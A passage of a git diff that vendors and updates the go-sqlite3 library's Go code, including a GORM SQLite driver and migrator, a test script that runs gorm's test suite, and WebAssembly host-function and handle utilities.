m.RunWithoutForeignKey(func() error { + values = m.ReorderModels(values, false) + tx := m.DB.Session(&gorm.Session{}) + + for i := len(values) - 1; i >= 0; i-- { + if err := m.RunWithValue(values[i], func(stmt *gorm.Statement) error { + return tx.Exec("DROP TABLE IF EXISTS ?", clause.Table{Name: stmt.Table}).Error + }); err != nil { + return err + } + } + + return nil + }) +} + +func (m Migrator) GetTables() (tableList []string, err error) { + return tableList, m.DB.Raw("SELECT name FROM sqlite_master where type=?", "table").Scan(&tableList).Error +} + +func (m Migrator) HasColumn(value interface{}, name string) bool { + var count int + m.Migrator.RunWithValue(value, func(stmt *gorm.Statement) error { + if stmt.Schema != nil { + if field := stmt.Schema.LookUpField(name); field != nil { + name = field.DBName + } + } + + if name != "" { + m.DB.Raw( + "SELECT count(*) FROM sqlite_master WHERE type = ? AND tbl_name = ? AND (sql LIKE ? OR sql LIKE ? OR sql LIKE ? OR sql LIKE ? OR sql LIKE ?)", + "table", stmt.Table, `%"`+name+`" %`, `%`+name+` %`, "%`"+name+"`%", "%["+name+"]%", "%\t"+name+"\t%", + ).Row().Scan(&count) + } + return nil + }) + return count > 0 +} + +func (m Migrator) AlterColumn(value interface{}, name string) error { + return m.RunWithoutForeignKey(func() error { + return m.recreateTable(value, nil, func(rawDDL string, stmt *gorm.Statement) (sql string, sqlArgs []interface{}, err error) { + if field := stmt.Schema.LookUpField(name); field != nil { + // lookup field from table definition, ddl might looks like `'name' int,` or `'name' int)` + reg, err := regexp.Compile("(`|'|\"| )" + field.DBName + "(`|'|\"| ) .*?(,|\\)\\s*$)") + if err != nil { + return "", nil, err + } + + createSQL := reg.ReplaceAllString(rawDDL, fmt.Sprintf("`%v` ?$3", field.DBName)) + + if createSQL == rawDDL { + return "", nil, fmt.Errorf("failed to look up field %v from DDL %v", field.DBName, rawDDL) + } + + return createSQL, []interface{}{m.FullDataTypeOf(field)}, nil + } + return "", nil, fmt.Errorf("failed to alter field with name %v", name) + }) + }) +} + +// ColumnTypes return columnTypes []gorm.ColumnType and execErr error +func (m Migrator) ColumnTypes(value interface{}) ([]gorm.ColumnType, error) { + columnTypes := make([]gorm.ColumnType, 0) + execErr := m.RunWithValue(value, func(stmt *gorm.Statement) (err error) { + var ( + sqls []string + sqlDDL *ddl + ) + + if err := m.DB.Raw("SELECT sql FROM sqlite_master WHERE type IN ? AND tbl_name = ? AND sql IS NOT NULL order by type = ? desc", []string{"table", "index"}, stmt.Table, "table").Scan(&sqls).Error; err != nil { + return err + } + + if sqlDDL, err = parseDDL(sqls...); err != nil { + return err + } + + rows, err := m.DB.Session(&gorm.Session{}).Table(stmt.Table).Limit(1).Rows() + if err != nil { + return err + } + defer func() { + err = rows.Close() + }() + + var rawColumnTypes []*sql.ColumnType + rawColumnTypes, err = rows.ColumnTypes() + if err != nil { + return err + } + + for _, c := range rawColumnTypes { + columnType := migrator.ColumnType{SQLColumnType: c} + for _, column := range sqlDDL.columns { + if column.NameValue.String == c.Name() { + column.SQLColumnType = c + columnType = column + break + } + } + columnTypes = append(columnTypes, columnType) + } + + return err + }) + + return columnTypes, execErr +} + +func (m Migrator) DropColumn(value interface{}, name string) error { + return m.recreateTable(value, nil, func(rawDDL string, stmt *gorm.Statement) (sql string, sqlArgs []interface{}, err error) { + if field := stmt.Schema.LookUpField(name); field != nil { + name = field.DBName + } + + reg, err := regexp.Compile("(`|'|\"| |\\[)" + name + "(`|'|\"| |\\]) .*?,") + if err != nil { + return "", nil, err + } + + createSQL := reg.ReplaceAllString(rawDDL, "") + + return createSQL, nil, nil + }) +} + +func (m Migrator) CreateConstraint(value interface{}, name string) error { + return m.RunWithValue(value, func(stmt *gorm.Statement) error { + constraint, chk, table := m.GuessConstraintAndTable(stmt, name) + + return m.recreateTable(value, &table, + func(rawDDL string, stmt *gorm.Statement) (sql string, sqlArgs []interface{}, err error) { + var ( + constraintName string + constraintSql string + constraintValues []interface{} + ) + + if constraint != nil { + constraintName = constraint.Name + constraintSql, constraintValues = buildConstraint(constraint) + } else if chk != nil { + constraintName = chk.Name + constraintSql = "CONSTRAINT ? CHECK (?)" + constraintValues = []interface{}{clause.Column{Name: chk.Name}, clause.Expr{SQL: chk.Constraint}} + } else { + return "", nil, nil + } + + createDDL, err := parseDDL(rawDDL) + if err != nil { + return "", nil, err + } + createDDL.addConstraint(constraintName, constraintSql) + createSQL := createDDL.compile() + + return createSQL, constraintValues, nil + }) + }) +} + +func (m Migrator) DropConstraint(value interface{}, name string) error { + return m.RunWithValue(value, func(stmt *gorm.Statement) error { + constraint, chk, table := m.GuessConstraintAndTable(stmt, name) + if constraint != nil { + name = constraint.Name + } else if chk != nil { + name = chk.Name + } + + return m.recreateTable(value, &table, + func(rawDDL string, stmt *gorm.Statement) (sql string, sqlArgs []interface{}, err error) { + createDDL, err := parseDDL(rawDDL) + if err != nil { + return "", nil, err + } + createDDL.removeConstraint(name) + createSQL := createDDL.compile() + + return createSQL, nil, nil + }) + }) +} + +func (m Migrator) HasConstraint(value interface{}, name string) bool { + var count int64 + m.RunWithValue(value, func(stmt *gorm.Statement) error { + constraint, chk, table := m.GuessConstraintAndTable(stmt, name) + if constraint != nil { + name = constraint.Name + } else if chk != nil { + name = chk.Name + } + + m.DB.Raw( + "SELECT count(*) FROM sqlite_master WHERE type = ? AND tbl_name = ? AND (sql LIKE ? OR sql LIKE ? OR sql LIKE ? OR sql LIKE ? OR sql LIKE ?)", + "table", table, `%CONSTRAINT "`+name+`" %`, `%CONSTRAINT `+name+` %`, "%CONSTRAINT `"+name+"`%", "%CONSTRAINT ["+name+"]%", "%CONSTRAINT \t"+name+"\t%", + ).Row().Scan(&count) + + return nil + }) + + return count > 0 +} + +func (m Migrator) CurrentDatabase() (name string) { + var null interface{} + m.DB.Raw("PRAGMA database_list").Row().Scan(&null, &name, &null) + return +} + +func (m Migrator) BuildIndexOptions(opts []schema.IndexOption, stmt *gorm.Statement) (results []interface{}) { + for _, opt := range opts { + str := stmt.Quote(opt.DBName) + if opt.Expression != "" { + str = opt.Expression + } + + if opt.Collate != "" { + str += " COLLATE " + opt.Collate + } + + if opt.Sort != "" { + str += " " + opt.Sort + } + results = append(results, clause.Expr{SQL: str}) + } + return +} + +func (m Migrator) CreateIndex(value interface{}, name string) error { + return m.RunWithValue(value, func(stmt *gorm.Statement) error { + if stmt.Schema != nil { + if idx := stmt.Schema.LookIndex(name); idx != nil { + opts := m.BuildIndexOptions(idx.Fields, stmt) + values := []interface{}{clause.Column{Name: idx.Name}, clause.Table{Name: stmt.Table}, opts} + + createIndexSQL := "CREATE " + if idx.Class != "" { + createIndexSQL += idx.Class + " " + } + createIndexSQL += "INDEX ?" + + if idx.Type != "" { + createIndexSQL += " USING " + idx.Type + } + createIndexSQL += " ON ??" + + if idx.Where != "" { + createIndexSQL += " WHERE " + idx.Where + } + + return m.DB.Exec(createIndexSQL, values...).Error + } + } + return fmt.Errorf("failed to create index with name %v", name) + }) +} + +func (m Migrator) HasIndex(value interface{}, name string) bool { + var count int + m.RunWithValue(value, func(stmt *gorm.Statement) error { + if stmt.Schema != nil { + if idx := stmt.Schema.LookIndex(name); idx != nil { + name = idx.Name + } + } + + if name != "" { + m.DB.Raw( + "SELECT count(*) FROM sqlite_master WHERE type = ? AND tbl_name = ? AND name = ?", "index", stmt.Table, name, + ).Row().Scan(&count) + } + return nil + }) + return count > 0 +} + +func (m Migrator) RenameIndex(value interface{}, oldName, newName string) error { + return m.RunWithValue(value, func(stmt *gorm.Statement) error { + var sql string + m.DB.Raw("SELECT sql FROM sqlite_master WHERE type = ? AND tbl_name = ? AND name = ?", "index", stmt.Table, oldName).Row().Scan(&sql) + if sql != "" { + if err := m.DropIndex(value, oldName); err != nil { + return err + } + return m.DB.Exec(strings.Replace(sql, oldName, newName, 1)).Error + } + return fmt.Errorf("failed to find index with name %v", oldName) + }) +} + +func (m Migrator) DropIndex(value interface{}, name string) error { + return m.RunWithValue(value, func(stmt *gorm.Statement) error { + if stmt.Schema != nil { + if idx := stmt.Schema.LookIndex(name); idx != nil { + name = idx.Name + } + } + + return m.DB.Exec("DROP INDEX ?", clause.Column{Name: name}).Error + }) +} + +func buildConstraint(constraint *schema.Constraint) (sql string, results []interface{}) { + sql = "CONSTRAINT ? FOREIGN KEY ? REFERENCES ??" + if constraint.OnDelete != "" { + sql += " ON DELETE " + constraint.OnDelete + } + + if constraint.OnUpdate != "" { + sql += " ON UPDATE " + constraint.OnUpdate + } + + var foreignKeys, references []interface{} + for _, field := range constraint.ForeignKeys { + foreignKeys = append(foreignKeys, clause.Column{Name: field.DBName}) + } + + for _, field := range constraint.References { + references = append(references, clause.Column{Name: field.DBName}) + } + results = append(results, clause.Table{Name: constraint.Name}, foreignKeys, clause.Table{Name: constraint.ReferenceSchema.Table}, references) + return +} + +func (m Migrator) getRawDDL(table string) (string, error) { + var createSQL string + m.DB.Raw("SELECT sql FROM sqlite_master WHERE type = ? AND tbl_name = ? AND name = ?", "table", table, table).Row().Scan(&createSQL) + + if m.DB.Error != nil { + return "", m.DB.Error + } + return createSQL, nil +} + +func (m Migrator) recreateTable(value interface{}, tablePtr *string, + getCreateSQL func(rawDDL string, stmt *gorm.Statement) (sql string, sqlArgs []interface{}, err error)) error { + return m.RunWithValue(value, func(stmt *gorm.Statement) error { + table := stmt.Table + if tablePtr != nil { + table = *tablePtr + } + + rawDDL, err := m.getRawDDL(table) + if err != nil { + return err + } + + newTableName := table + "__temp" + + createSQL, sqlArgs, err := getCreateSQL(rawDDL, stmt) + if err != nil { + return err + } + if createSQL == "" { + return nil + } + + tableReg, err := regexp.Compile("\\s*('|`|\")?\\b" + table + "\\b('|`|\")?\\s*") + if err != nil { + return err + } + createSQL = tableReg.ReplaceAllString(createSQL, fmt.Sprintf(" `%v` ", newTableName)) + + createDDL, err := parseDDL(createSQL) + if err != nil { + return err + } + columns := createDDL.getColumns() + + return m.DB.Transaction(func(tx *gorm.DB) error { + if err := tx.Exec(createSQL, sqlArgs...).Error; err != nil { + return err + } + + queries := []string{ + fmt.Sprintf("INSERT INTO `%v`(%v) SELECT %v FROM `%v`", newTableName, strings.Join(columns, ","), strings.Join(columns, ","), table), + fmt.Sprintf("DROP TABLE `%v`", table), + fmt.Sprintf("ALTER TABLE `%v` RENAME TO `%v`", newTableName, table), + } + for _, query := range queries { + if err := tx.Exec(query).Error; err != nil { + return err + } + } + return nil + }) + }) +} diff --git a/vendor/github.com/ncruces/go-sqlite3/gormlite/sqlite.go b/vendor/github.com/ncruces/go-sqlite3/gormlite/sqlite.go new file mode 100644 index 0000000000..837d57c935 --- /dev/null +++ b/vendor/github.com/ncruces/go-sqlite3/gormlite/sqlite.go @@ -0,0 +1,219 @@ +// Package gormlite provides a GORM driver for SQLite. +package gormlite + +import ( + "context" + "database/sql" + "strconv" + "strings" + + "gorm.io/gorm" + "gorm.io/gorm/callbacks" + "gorm.io/gorm/clause" + "gorm.io/gorm/logger" + "gorm.io/gorm/migrator" + "gorm.io/gorm/schema" + + _ "github.com/ncruces/go-sqlite3/driver" +) + +type Dialector struct { + DSN string + Conn gorm.ConnPool +} + +func Open(dsn string) gorm.Dialector { + return &Dialector{DSN: dsn} +} + +func (dialector Dialector) Name() string { + return "sqlite" +} + +func (dialector Dialector) Initialize(db *gorm.DB) (err error) { + if dialector.Conn != nil { + db.ConnPool = dialector.Conn + } else { + conn, err := sql.Open("sqlite3", dialector.DSN) + if err != nil { + return err + } + db.ConnPool = conn + } + + var version string + if err := db.ConnPool.QueryRowContext(context.Background(), "select sqlite_version()").Scan(&version); err != nil { + return err + } + // https://www.sqlite.org/releaselog/3_35_0.html + if compareVersion(version, "3.35.0") >= 0 { + callbacks.RegisterDefaultCallbacks(db, &callbacks.Config{ + CreateClauses: []string{"INSERT", "VALUES", "ON CONFLICT", "RETURNING"}, + UpdateClauses: []string{"UPDATE", "SET", "WHERE", "RETURNING"}, + DeleteClauses: []string{"DELETE", "FROM", "WHERE", "RETURNING"}, + LastInsertIDReversed: true, + }) + } else { + callbacks.RegisterDefaultCallbacks(db, &callbacks.Config{ + LastInsertIDReversed: true, + }) + } + + for k, v := range dialector.ClauseBuilders() { + db.ClauseBuilders[k] = v + } + return +} + +func (dialector Dialector) ClauseBuilders() map[string]clause.ClauseBuilder { + return map[string]clause.ClauseBuilder{ + "INSERT": func(c clause.Clause, builder clause.Builder) { + if insert, ok := c.Expression.(clause.Insert); ok { + if stmt, ok := builder.(*gorm.Statement); ok { + stmt.WriteString("INSERT ") + if insert.Modifier != "" { + stmt.WriteString(insert.Modifier) + stmt.WriteByte(' ') + } + + stmt.WriteString("INTO ") + if insert.Table.Name == "" { + stmt.WriteQuoted(stmt.Table) + } else { + stmt.WriteQuoted(insert.Table) + } + return + } + } + + c.Build(builder) + }, + "LIMIT": func(c clause.Clause, builder clause.Builder) { + if limit, ok := c.Expression.(clause.Limit); ok { + var lmt = -1 + if limit.Limit != nil && *limit.Limit >= 0 { + lmt = *limit.Limit + } + if lmt >= 0 || limit.Offset > 0 { + builder.WriteString("LIMIT ") + builder.WriteString(strconv.Itoa(lmt)) + } + if limit.Offset > 0 { + builder.WriteString(" OFFSET ") + builder.WriteString(strconv.Itoa(limit.Offset)) + } + } + }, + "FOR": func(c clause.Clause, builder clause.Builder) { + if _, ok := c.Expression.(clause.Locking); ok { + // SQLite3 does not support row-level locking. + return + } + c.Build(builder) + }, + } +} + +func (dialector Dialector) DefaultValueOf(field *schema.Field) clause.Expression { + if field.AutoIncrement { + return clause.Expr{SQL: "NULL"} + } + + // doesn't work, will raise error + return clause.Expr{SQL: "DEFAULT"} +} + +func (dialector Dialector) Migrator(db *gorm.DB) gorm.Migrator { + return Migrator{migrator.Migrator{Config: migrator.Config{ + DB: db, + Dialector: dialector, + CreateIndexAfterCreateTable: true, + }}} +} + +func (dialector Dialector) BindVarTo(writer clause.Writer, stmt *gorm.Statement, v interface{}) { + writer.WriteByte('?') +} + +func (dialector Dialector) QuoteTo(writer clause.Writer, str string) { + writer.WriteByte('`') + if strings.Contains(str, ".") { + for idx, str := range strings.Split(str, ".") { + if idx > 0 { + writer.WriteString(".`") + } + writer.WriteString(str) + writer.WriteByte('`') + } + } else { + writer.WriteString(str) + writer.WriteByte('`') + } +} + +func (dialector Dialector) Explain(sql string, vars ...interface{}) string { + return logger.ExplainSQL(sql, nil, `"`, vars...) +} + +func (dialector Dialector) DataTypeOf(field *schema.Field) string { + switch field.DataType { + case schema.Bool: + return "numeric" + case schema.Int, schema.Uint: + if field.AutoIncrement && !field.PrimaryKey { + // https://www.sqlite.org/autoinc.html + return "integer PRIMARY KEY AUTOINCREMENT" + } else { + return "integer" + } + case schema.Float: + return "real" + case schema.String: + return "text" + case schema.Time: + // Distinguish between schema.Time and tag time + if val, ok := field.TagSettings["TYPE"]; ok { + return val + } else { + return "datetime" + } + case schema.Bytes: + return "blob" + } + + return string(field.DataType) +} + +func (dialectopr Dialector) SavePoint(tx *gorm.DB, name string) error { + tx.Exec("SAVEPOINT " + name) + return nil +} + +func (dialectopr Dialector) RollbackTo(tx *gorm.DB, name string) error { + tx.Exec("ROLLBACK TO SAVEPOINT " + name) + return nil +} + +func compareVersion(version1, version2 string) int { + n, m := len(version1), len(version2) + i, j := 0, 0 + for i < n || j < m { + x := 0 + for ; i < n && version1[i] != '.'; i++ { + x = x*10 + int(version1[i]-'0') + } + i++ + y := 0 + for ; j < m && version2[j] != '.'; j++ { + y = y*10 + int(version2[j]-'0') + } + j++ + if x > y { + return 1 + } + if x < y { + return -1 + } + } + return 0 +} diff --git a/vendor/github.com/ncruces/go-sqlite3/gormlite/test.sh b/vendor/github.com/ncruces/go-sqlite3/gormlite/test.sh new file mode 100644 index 0000000000..4fc43ce7ce --- /dev/null +++ b/vendor/github.com/ncruces/go-sqlite3/gormlite/test.sh @@ -0,0 +1,24 @@ +#!/usr/bin/env bash +set -euo pipefail + +cd -P -- "$(dirname -- "$0")" + +rm -rf gorm/ tests/ "$(dirname $(mktemp -u))/gorm.db" +git clone --filter=blob:none https://github.com/go-gorm/gorm.git +mv gorm/tests tests +rm -rf gorm/ + +patch -p1 -N < tests.patch + +cd tests +go mod edit \ + -require github.com/ncruces/go-sqlite3/gormlite@v0.0.0 \ + -replace github.com/ncruces/go-sqlite3/gormlite=../ \ + -replace github.com/ncruces/go-sqlite3=../../ \ + -droprequire gorm.io/driver/sqlite \ + -dropreplace gorm.io/gorm +go mod tidy && go work use . && go test + +cd .. +rm -rf tests/ "$(dirname $(mktemp -u))/gorm.db" +go work use -r . \ No newline at end of file diff --git a/vendor/github.com/ncruces/go-sqlite3/gormlite/tests.patch b/vendor/github.com/ncruces/go-sqlite3/gormlite/tests.patch new file mode 100644 index 0000000000..01269e3931 --- /dev/null +++ b/vendor/github.com/ncruces/go-sqlite3/gormlite/tests.patch @@ -0,0 +1,31 @@ +diff --git a/tests/.gitignore b/tests/.gitignore +--- a/tests/.gitignore ++++ b/tests/.gitignore +@@ -1 +1 @@ +-go.sum ++* +diff --git a/tests/tests_test.go b/tests/tests_test.go +--- a/tests/tests_test.go ++++ b/tests/tests_test.go +@@ -7,9 +7,11 @@ import ( + "path/filepath" + "time" + ++ _ "github.com/ncruces/go-sqlite3/embed" ++ sqlite "github.com/ncruces/go-sqlite3/gormlite" ++ + "gorm.io/driver/mysql" + "gorm.io/driver/postgres" +- "gorm.io/driver/sqlite" + "gorm.io/driver/sqlserver" + "gorm.io/gorm" + "gorm.io/gorm/logger" +@@ -89,7 +91,7 @@ func OpenTestConnection(cfg *gorm.Config) (db *gorm.DB, err error) { + db, err = gorm.Open(mysql.Open(dbDSN), cfg) + default: + log.Println("testing sqlite3...") +- db, err = gorm.Open(sqlite.Open(filepath.Join(os.TempDir(), "gorm.db?_foreign_keys=on")), cfg) ++ db, err = gorm.Open(sqlite.Open("file:"+filepath.Join(os.TempDir(), "gorm.db")+"?_pragma=busy_timeout(1000)&_pragma=foreign_keys(1)"), cfg) + } + + if err != nil { diff --git a/vendor/github.com/ncruces/go-sqlite3/internal/util/func.go b/vendor/github.com/ncruces/go-sqlite3/internal/util/func.go index 65efe3b39e..9ff775774c 100644 --- a/vendor/github.com/ncruces/go-sqlite3/internal/util/func.go +++ b/vendor/github.com/ncruces/go-sqlite3/internal/util/func.go @@ -10,6 +10,32 @@ import ( type i32 interface{ ~int32 | ~uint32 } type i64 interface{ ~int64 | ~uint64 } +type funcVI[T0 i32] func(context.Context, api.Module, T0) + +func (fn funcVI[T0]) Call(ctx context.Context, mod api.Module, stack []uint64) { + fn(ctx, mod, T0(stack[0])) +} + +func ExportFuncVI[T0 i32](mod wazero.HostModuleBuilder, name string, fn func(context.Context, api.Module, T0)) { + mod.NewFunctionBuilder(). + WithGoModuleFunction(funcVI[T0](fn), + []api.ValueType{api.ValueTypeI32}, nil). + Export(name) +} + +type funcVIII[T0, T1, T2 i32] func(context.Context, api.Module, T0, T1, T2) + +func (fn funcVIII[T0, T1, T2]) Call(ctx context.Context, mod api.Module, stack []uint64) { + fn(ctx, mod, T0(stack[0]), T1(stack[1]), T2(stack[2])) +} + +func ExportFuncVIII[T0, T1, T2 i32](mod wazero.HostModuleBuilder, name string, fn func(context.Context, api.Module, T0, T1, T2)) { + mod.NewFunctionBuilder(). + WithGoModuleFunction(funcVIII[T0, T1, T2](fn), + []api.ValueType{api.ValueTypeI32, api.ValueTypeI32, api.ValueTypeI32}, nil). + Export(name) +} + type funcII[TR, T0 i32] func(context.Context, api.Module, T0) TR func (fn funcII[TR, T0]) Call(ctx context.Context, mod api.Module, stack []uint64) { diff --git a/vendor/github.com/ncruces/go-sqlite3/internal/util/handle.go b/vendor/github.com/ncruces/go-sqlite3/internal/util/handle.go new file mode 100644 index 0000000000..2309ed478f --- /dev/null +++ b/vendor/github.com/ncruces/go-sqlite3/internal/util/handle.go @@ -0,0 +1,75 @@ +package util + +import ( + "context" + "io" + + "github.com/tetratelabs/wazero/experimental" +) + +type handleKey struct{} +type handleState struct { + handles []any + empty int +} + +func NewContext(ctx context.Context) context.Context { + state := new(handleState) + ctx = experimental.WithCloseNotifier(ctx, state) + ctx = context.WithValue(ctx, handleKey{}, state) + return ctx +} + +func (s *handleState) CloseNotify(ctx context.Context, exitCode uint32) { + for _, h := range s.handles { + if c, ok := h.(io.Closer); ok { + c.Close() + } + } + s.handles = nil + s.empty = 0 +} + +func GetHandle(ctx context.Context, id uint32) any { + if id == 0 { + return nil + } + s := ctx.Value(handleKey{}).(*handleState) + return s.handles[^id] +} + +func DelHandle(ctx context.Context, id uint32) error { + if id == 0 { + return nil + } + s := ctx.Value(handleKey{}).(*handleState) + a := s.handles[^id] + s.handles[^id] = nil + s.empty++ + if c, ok := a.(io.Closer); ok { + return c.Close() + } + return nil +} + +func AddHandle(ctx context.Context, a any) (id uint32) { + if a == nil { + panic(NilErr) + } + s := ctx.Value(handleKey{}).(*handleState) + + // Find an empty slot. + if s.empty > cap(s.handles)-len(s.handles) { + for id, h := range s.handles { + if h == nil { + s.empty-- + s.handles[id] = a + return ^uint32(id) + } + } + } + + // Add a new slot. + s.handles = append(s.handles, a) + return -uint32(len(s.handles)) +} diff --git a/vendor/github.com/ncruces/go-sqlite3/module.go b/vendor/github.com/ncruces/go-sqlite3/sqlite.go similarity index 57% rename from vendor/github.com/ncruces/go-sqlite3/module.go rename to vendor/github.com/ncruces/go-sqlite3/sqlite.go index e279601629..f442a723d2 100644 --- a/vendor/github.com/ncruces/go-sqlite3/module.go +++ b/vendor/github.com/ncruces/go-sqlite3/sqlite.go @@ -3,7 +3,6 @@ package sqlite3 import ( "context" - "io" "math" "os" "sync" @@ -25,70 +24,67 @@ var ( Path string // Path to load the binary from. ) -var sqlite3 struct { +var instance struct { runtime wazero.Runtime compiled wazero.CompiledModule err error once sync.Once } -func instantiateModule() (*module, error) { +func compileSQLite() { ctx := context.Background() + instance.runtime = wazero.NewRuntime(ctx) - sqlite3.once.Do(compileModule) - if sqlite3.err != nil { - return nil, sqlite3.err - } - - cfg := wazero.NewModuleConfig() - - mod, err := sqlite3.runtime.InstantiateModule(ctx, sqlite3.compiled, cfg) - if err != nil { - return nil, err - } - return newModule(mod) -} - -func compileModule() { - ctx := context.Background() - sqlite3.runtime = wazero.NewRuntime(ctx) - - env := vfs.ExportHostFunctions(sqlite3.runtime.NewHostModuleBuilder("env")) - _, sqlite3.err = env.Instantiate(ctx) - if sqlite3.err != nil { + env := instance.runtime.NewHostModuleBuilder("env") + env = vfs.ExportHostFunctions(env) + env = exportHostFunctions(env) + _, instance.err = env.Instantiate(ctx) + if instance.err != nil { return } bin := Binary if bin == nil && Path != "" { - bin, sqlite3.err = os.ReadFile(Path) - if sqlite3.err != nil { + bin, instance.err = os.ReadFile(Path) + if instance.err != nil { return } } if bin == nil { - sqlite3.err = util.BinaryErr + instance.err = util.BinaryErr return } - sqlite3.compiled, sqlite3.err = sqlite3.runtime.CompileModule(ctx, bin) + instance.compiled, instance.err = instance.runtime.CompileModule(ctx, bin) } -type module struct { - ctx context.Context - mod api.Module - vfs io.Closer - api sqliteAPI - arg [8]uint64 +type sqlite struct { + ctx context.Context + mod api.Module + api sqliteAPI + stack [8]uint64 } -func newModule(mod api.Module) (m *module, err error) { - m = new(module) - m.mod = mod - m.ctx, m.vfs = vfs.NewContext(context.Background()) +type sqliteKey struct{} + +func instantiateSQLite() (sqlt *sqlite, err error) { + instance.once.Do(compileSQLite) + if instance.err != nil { + return nil, instance.err + } + + sqlt = new(sqlite) + sqlt.ctx = util.NewContext(context.Background()) + sqlt.ctx = context.WithValue(sqlt.ctx, sqliteKey{}, sqlt) + + sqlt.mod, err = instance.runtime.InstantiateModule(sqlt.ctx, + instance.compiled, wazero.NewModuleConfig()) + if err != nil { + return nil, err + } getFun := func(name string) api.Function { - f := mod.ExportedFunction(name) + f := sqlt.mod.ExportedFunction(name) if f == nil { err = util.NoFuncErr + util.ErrorString(name) return nil @@ -97,15 +93,15 @@ func newModule(mod api.Module) (m *module, err error) { } getVal := func(name string) uint32 { - g := mod.ExportedGlobal(name) + g := sqlt.mod.ExportedGlobal(name) if g == nil { err = util.NoGlobalErr + util.ErrorString(name) return 0 } - return util.ReadUint32(mod, uint32(g.Get())) + return util.ReadUint32(sqlt.mod, uint32(g.Get())) } - m.api = sqliteAPI{ + sqlt.api = sqliteAPI{ free: getFun("free"), malloc: getFun("malloc"), destructor: getVal("malloc_destructor"), @@ -153,20 +149,43 @@ func newModule(mod api.Module) (m *module, err error) { changes: getFun("sqlite3_changes64"), lastRowid: getFun("sqlite3_last_insert_rowid"), autocommit: getFun("sqlite3_get_autocommit"), + anyCollation: getFun("sqlite3_anycollseq_init"), + createCollation: getFun("sqlite3_create_collation_go"), + createFunction: getFun("sqlite3_create_function_go"), + createAggregate: getFun("sqlite3_create_aggregate_function_go"), + createWindow: getFun("sqlite3_create_window_function_go"), + aggregateCtx: getFun("sqlite3_aggregate_context"), + userData: getFun("sqlite3_user_data"), + setAuxData: getFun("sqlite3_set_auxdata_go"), + getAuxData: getFun("sqlite3_get_auxdata"), + valueType: getFun("sqlite3_value_type"), + valueInteger: getFun("sqlite3_value_int64"), + valueFloat: getFun("sqlite3_value_double"), + valueText: getFun("sqlite3_value_text"), + valueBlob: getFun("sqlite3_value_blob"), + valueBytes: getFun("sqlite3_value_bytes"), + resultNull: getFun("sqlite3_result_null"), + resultInteger: getFun("sqlite3_result_int64"), + resultFloat: getFun("sqlite3_result_double"), + resultText: getFun("sqlite3_result_text64"), + resultBlob: getFun("sqlite3_result_blob64"), + resultZeroBlob: getFun("sqlite3_result_zeroblob64"), + resultError: getFun("sqlite3_result_error"), + resultErrorCode: getFun("sqlite3_result_error_code"), + resultErrorMem: getFun("sqlite3_result_error_nomem"), + resultErrorBig: getFun("sqlite3_result_error_toobig"), } if err != nil { return nil, err } - return m, nil + return sqlt, nil } -func (m *module) close() error { - err := m.mod.Close(m.ctx) - m.vfs.Close() - return err +func (sqlt *sqlite) close() error { + return sqlt.mod.Close(sqlt.ctx) } -func (m *module) error(rc uint64, handle uint32, sql ...string) error { +func (sqlt *sqlite) error(rc uint64, handle uint32, sql ...string) error { if rc == _OK { return nil } @@ -177,16 +196,16 @@ func (m *module) error(rc uint64, handle uint32, sql ...string) error { panic(util.OOMErr) } - if r := m.call(m.api.errstr, rc); r != 0 { - err.str = util.ReadString(m.mod, uint32(r), _MAX_STRING) + if r := sqlt.call(sqlt.api.errstr, rc); r != 0 { + err.str = util.ReadString(sqlt.mod, uint32(r), _MAX_STRING) } - if r := m.call(m.api.errmsg, uint64(handle)); r != 0 { - err.msg = util.ReadString(m.mod, uint32(r), _MAX_STRING) + if r := sqlt.call(sqlt.api.errmsg, uint64(handle)); r != 0 { + err.msg = util.ReadString(sqlt.mod, uint32(r), _MAX_STRING) } if sql != nil { - if r := m.call(m.api.erroff, uint64(handle)); r != math.MaxUint32 { + if r := sqlt.call(sqlt.api.erroff, uint64(handle)); r != math.MaxUint32 { err.sql = sql[0][r:] } } @@ -198,60 +217,58 @@ func (m *module) error(rc uint64, handle uint32, sql ...string) error { return &err } -func (m *module) call(fn api.Function, params ...uint64) uint64 { - copy(m.arg[:], params) - err := fn.CallWithStack(m.ctx, m.arg[:]) +func (sqlt *sqlite) call(fn api.Function, params ...uint64) uint64 { + copy(sqlt.stack[:], params) + err := fn.CallWithStack(sqlt.ctx, sqlt.stack[:]) if err != nil { - // The module closed or panicked; release resources. - m.vfs.Close() panic(err) } - return m.arg[0] + return sqlt.stack[0] } -func (m *module) free(ptr uint32) { +func (sqlt *sqlite) free(ptr uint32) { if ptr == 0 { return } - m.call(m.api.free, uint64(ptr)) + sqlt.call(sqlt.api.free, uint64(ptr)) } -func (m *module) new(size uint64) uint32 { +func (sqlt *sqlite) new(size uint64) uint32 { if size > _MAX_ALLOCATION_SIZE { panic(util.OOMErr) } - ptr := uint32(m.call(m.api.malloc, size)) + ptr := uint32(sqlt.call(sqlt.api.malloc, size)) if ptr == 0 && size != 0 { panic(util.OOMErr) } return ptr } -func (m *module) newBytes(b []byte) uint32 { +func (sqlt *sqlite) newBytes(b []byte) uint32 { if b == nil { return 0 } - ptr := m.new(uint64(len(b))) - util.WriteBytes(m.mod, ptr, b) + ptr := sqlt.new(uint64(len(b))) + util.WriteBytes(sqlt.mod, ptr, b) return ptr } -func (m *module) newString(s string) uint32 { - ptr := m.new(uint64(len(s) + 1)) - util.WriteString(m.mod, ptr, s) +func (sqlt *sqlite) newString(s string) uint32 { + ptr := sqlt.new(uint64(len(s) + 1)) + util.WriteString(sqlt.mod, ptr, s) return ptr } -func (m *module) newArena(size uint64) arena { +func (sqlt *sqlite) newArena(size uint64) arena { return arena{ - m: m, - base: m.new(size), + sqlt: sqlt, size: uint32(size), + base: sqlt.new(size), } } type arena struct { - m *module + sqlt *sqlite ptrs []uint32 base uint32 next uint32 @@ -259,17 +276,17 @@ type arena struct { } func (a *arena) free() { - if a.m == nil { + if a.sqlt == nil { return } a.reset() - a.m.free(a.base) - a.m = nil + a.sqlt.free(a.base) + a.sqlt = nil } func (a *arena) reset() { for _, ptr := range a.ptrs { - a.m.free(ptr) + a.sqlt.free(ptr) } a.ptrs = nil a.next = 0 @@ -281,7 +298,7 @@ func (a *arena) new(size uint64) uint32 { a.next += uint32(size) return ptr } - ptr := a.m.new(size) + ptr := a.sqlt.new(size) a.ptrs = append(a.ptrs, ptr) return ptr } @@ -291,13 +308,13 @@ func (a *arena) bytes(b []byte) uint32 { return 0 } ptr := a.new(uint64(len(b))) - util.WriteBytes(a.m.mod, ptr, b) + util.WriteBytes(a.sqlt.mod, ptr, b) return ptr } func (a *arena) string(s string) uint32 { ptr := a.new(uint64(len(s) + 1)) - 